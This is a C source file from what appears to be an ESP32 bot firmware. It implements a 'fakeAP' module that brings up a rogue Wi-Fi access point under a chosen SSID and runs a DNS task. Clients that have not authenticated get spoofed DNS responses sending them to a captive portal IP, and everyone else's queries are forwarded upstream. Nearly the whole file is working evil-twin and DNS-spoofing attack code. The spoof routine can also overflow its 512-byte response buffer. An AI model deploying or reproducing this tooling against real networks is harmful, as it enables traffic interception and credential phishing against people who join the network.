espilon-source/espilon_bot/components/mod_fakeAP/mod_fakeAP.c
2026-01-15 00:04:00 +01:00

220 lines
5.8 KiB
C

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_netif.h"
#include "lwip/lwip_napt.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "fakeAP_utils.h"
#include "utils.h"
static const char *TAG = "MODULE_FAKE_AP";
/* ================= AUTH ================= */
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
int authenticated_count = 0; /* exported for mod_web_server.c */
static SemaphoreHandle_t auth_mutex;
/* ================= DNS ================= */
static TaskHandle_t dns_task_handle = NULL;
typedef struct {
bool captive_portal;
} dns_param_t;
/* Forward declaration */
void dns_forwarder_task(void *pv);
/* ============================================================
* AUTH
* ============================================================ */
bool fakeap_is_authenticated(ip4_addr_t ip)
{
bool res = false;
xSemaphoreTake(auth_mutex, portMAX_DELAY);
for (int i = 0; i < authenticated_count; i++) {
if (authenticated_clients[i].addr == ip.addr) {
res = true;
break;
}
}
xSemaphoreGive(auth_mutex);
return res;
}
void fakeap_mark_authenticated(ip4_addr_t ip)
{
xSemaphoreTake(auth_mutex, portMAX_DELAY);
if (authenticated_count < MAX_CLIENTS) {
authenticated_clients[authenticated_count++] = ip;
ESP_LOGI(TAG, "Client authenticated: %s", ip4addr_ntoa(&ip));
}
xSemaphoreGive(auth_mutex);
}
static void fakeap_reset_auth(void)
{
xSemaphoreTake(auth_mutex, portMAX_DELAY);
authenticated_count = 0;
memset(authenticated_clients, 0, sizeof(authenticated_clients));
xSemaphoreGive(auth_mutex);
}
/* ============================================================
* AP
* ============================================================ */
void stop_access_point(void)
{
if (dns_task_handle) {
vTaskDelete(dns_task_handle);
dns_task_handle = NULL;
}
fakeap_reset_auth();
esp_wifi_set_mode(WIFI_MODE_STA);
msg_info(TAG, "Access Point stopped", NULL);
}
void start_access_point(const char *ssid, const char *password, bool open)
{
if (!auth_mutex)
auth_mutex = xSemaphoreCreateMutex();
fakeap_reset_auth();
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
wifi_config_t cfg = {0};
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
cfg.ap.ssid_len = strlen(ssid);
cfg.ap.max_connection = MAX_CLIENTS;
if (open) {
cfg.ap.authmode = WIFI_AUTH_OPEN;
} else {
strncpy((char *)cfg.ap.password, password, sizeof(cfg.ap.password));
cfg.ap.authmode = WIFI_AUTH_WPA_WPA2_PSK;
}
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
vTaskDelay(pdMS_TO_TICKS(2000));
esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
esp_netif_ip_info_t ip;
esp_netif_get_ip_info(ap, &ip);
esp_netif_dhcps_stop(ap);
esp_netif_dhcps_option(
ap,
ESP_NETIF_OP_SET,
ESP_NETIF_DOMAIN_NAME_SERVER,
&ip.ip,
sizeof(ip.ip)
);
esp_netif_dhcps_start(ap);
ip_napt_enable(ip.ip.addr, 1);
dns_param_t *p = calloc(1, sizeof(*p));
p->captive_portal = open;
xTaskCreate(
dns_forwarder_task,
"dns_forwarder",
4096,
p,
5,
&dns_task_handle
);
char msg[64];
snprintf(msg, sizeof(msg), "FakeAP started (%s)", open ? "captive" : "open");
msg_info(TAG, msg, NULL);
}
/* ============================================================
* DNS
* ============================================================ */
static void send_dns_spoof(
int sock,
struct sockaddr_in *cli,
socklen_t len,
uint8_t *req,
int req_len,
uint32_t ip
) {
uint8_t resp[512];
memcpy(resp, req, req_len);
resp[2] |= 0x80; // QR = response
resp[3] |= 0x80; // RA
resp[7] = 1; // ANCOUNT
int off = req_len;
resp[off++] = 0xC0; resp[off++] = 0x0C;
resp[off++] = 0x00; resp[off++] = 0x01;
resp[off++] = 0x00; resp[off++] = 0x01;
resp[off++] = 0; resp[off++] = 0; resp[off++] = 0; resp[off++] = 30;
resp[off++] = 0; resp[off++] = 4;
memcpy(&resp[off], &ip, 4);
off += 4;
sendto(sock, resp, off, 0, (struct sockaddr *)cli, len);
}
void dns_forwarder_task(void *pv)
{
dns_param_t *p = pv;
bool captive = p->captive_portal;
free(p);
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in local = {
.sin_family = AF_INET,
.sin_port = htons(DNS_PORT),
.sin_addr.s_addr = htonl(INADDR_ANY)
};
bind(sock, (struct sockaddr *)&local, sizeof(local));
char msg[64];
snprintf(msg, sizeof(msg), "DNS forwarder running (captive=%d)", captive);
msg_info(TAG, msg, NULL);
uint8_t buf[512];
while (1) {
struct sockaddr_in cli;
socklen_t l = sizeof(cli);
int r = recvfrom(sock, buf, sizeof(buf), 0,
(struct sockaddr *)&cli, &l);
if (r <= 0) continue;
ip4_addr_t ip;
ip.addr = cli.sin_addr.s_addr;
if (captive && !fakeap_is_authenticated(ip)) {
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
continue;
}
int up = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in dns = {
.sin_family = AF_INET,
.sin_port = htons(53),
.sin_addr.s_addr = inet_addr(UPSTREAM_DNS)
};
sendto(up, buf, r, 0, (struct sockaddr *)&dns, sizeof(dns));
r = recvfrom(up, buf, sizeof(buf), 0, NULL, NULL);
if (r > 0)
sendto(sock, buf, r, 0, (struct sockaddr *)&cli, l);
close(up);
}
}